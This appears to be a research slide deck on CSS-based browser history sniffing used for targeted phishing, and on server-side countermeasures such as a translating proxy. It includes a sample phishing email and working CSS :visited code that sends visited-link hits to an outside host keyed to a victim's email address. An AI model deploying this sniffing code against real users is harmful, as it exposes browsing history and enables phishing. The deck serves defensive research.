Invasive Browser Sniffing and Countermeasures

Markus Jakobsson
Sid Stamm
Honey,

The just talked to the people down at the bank, and our online profiles need to be updated. They said they called about it last week and that it needs to be done today. They sent me instructions, see below. Would you take care of this? I have some other things I need to take care of ... will show you later!!!
He performed such a transaction

ACH transfer ... nice for phisher!
First things first: How does the phisher know his wife’s name?

And then: *How does the phisher know where he has been?*

<table>
<thead>
<tr>
<th>What you see:</th>
<th>The Code:</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Link 1</strong></td>
<td><code>&lt;style&gt;</code></td>
</tr>
<tr>
<td><strong>Link 2</strong></td>
<td><code>a { color: blue; }</code></td>
</tr>
<tr>
<td><strong>Link 3</strong></td>
<td><code>#id1:visited { color: red; }</code></td>
</tr>
<tr>
<td></td>
<td><code>#id2:visited { color: red; }</code></td>
</tr>
<tr>
<td></td>
<td><code>#id3:visited { color: red; }</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;/style&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;a id=id1 href=&quot;x.com&quot;&gt;Link 1&lt;/a&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;a id=id2 href=&quot;y.com&quot;&gt;Link 2&lt;/a&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;a id=id3 href=&quot;z.com&quot;&gt;Link 3&lt;/a&gt;</code></td>
</tr>
</tbody>
</table>
And then: *How does the phisher know where he has been?*

<table>
<thead>
<tr>
<th>Not visible:</th>
<th>The Code:</th>
</tr>
</thead>
</table>
| Link 1       | <style>
|              | a { color: blue; }
|              | #id1:visited {
|              |     background: url('e.com/?id=1');
|              | }
|              | #id2:visited {
|              |     background: url('e.com/?id=2');
|              | }
|              | ...      |
|              | </style> |
|              | <a id=id1 href="x.com"></a> |
|              | <a id=id2 href="y.com"></a> |
|              | <a id=id3 href="z.com"></a> |
Architecture of this attack
Connecting to email address

GET /?IAM=alice@x.com
(lots of links)
GET /hit?id=1&IAM=alice@x.com
GET /hit?id=42&IAM=alice@x.com

Phisher can now associate Alice with link 1 and 42
Try it?
Try it on a friend?

browser-recon.info
Where can this be stopped?

User paranoia (clear all)

Our approach

Jackson, Bortz, Boneh, Mitchell
Server-side defense against browser sniffing

- Principle I: Avoid correct guesses!
  - www.chase.com/page.html?gr4450_ooP)+
- Principle II: Cause false positives!
  - add wamu.com, citi.com, etc etc.
Server-side defense against browser sniffing

- Principle I: Avoid correct guesses!  
  *But what about the portal?*
- Principle II: Cause false positives!  
  *But what if they are all stigmatizing?*
Translating Proxy

C \rightarrow \text{GET}/?13fc021b \rightarrow S_T \rightarrow \text{GET} / \rightarrow S_B

Domain of S
Experimental data

cumulative probability

delay (seconds)

no translator
basic proxy
translator
What I have not mentioned

• How do we deal with robot policies?
• What about search engines, proxies?
• How do we select false positives?
• What about links to off-site data?
• How do we handle bookmarks?
• What does the prototype do?

*Please see the paper!*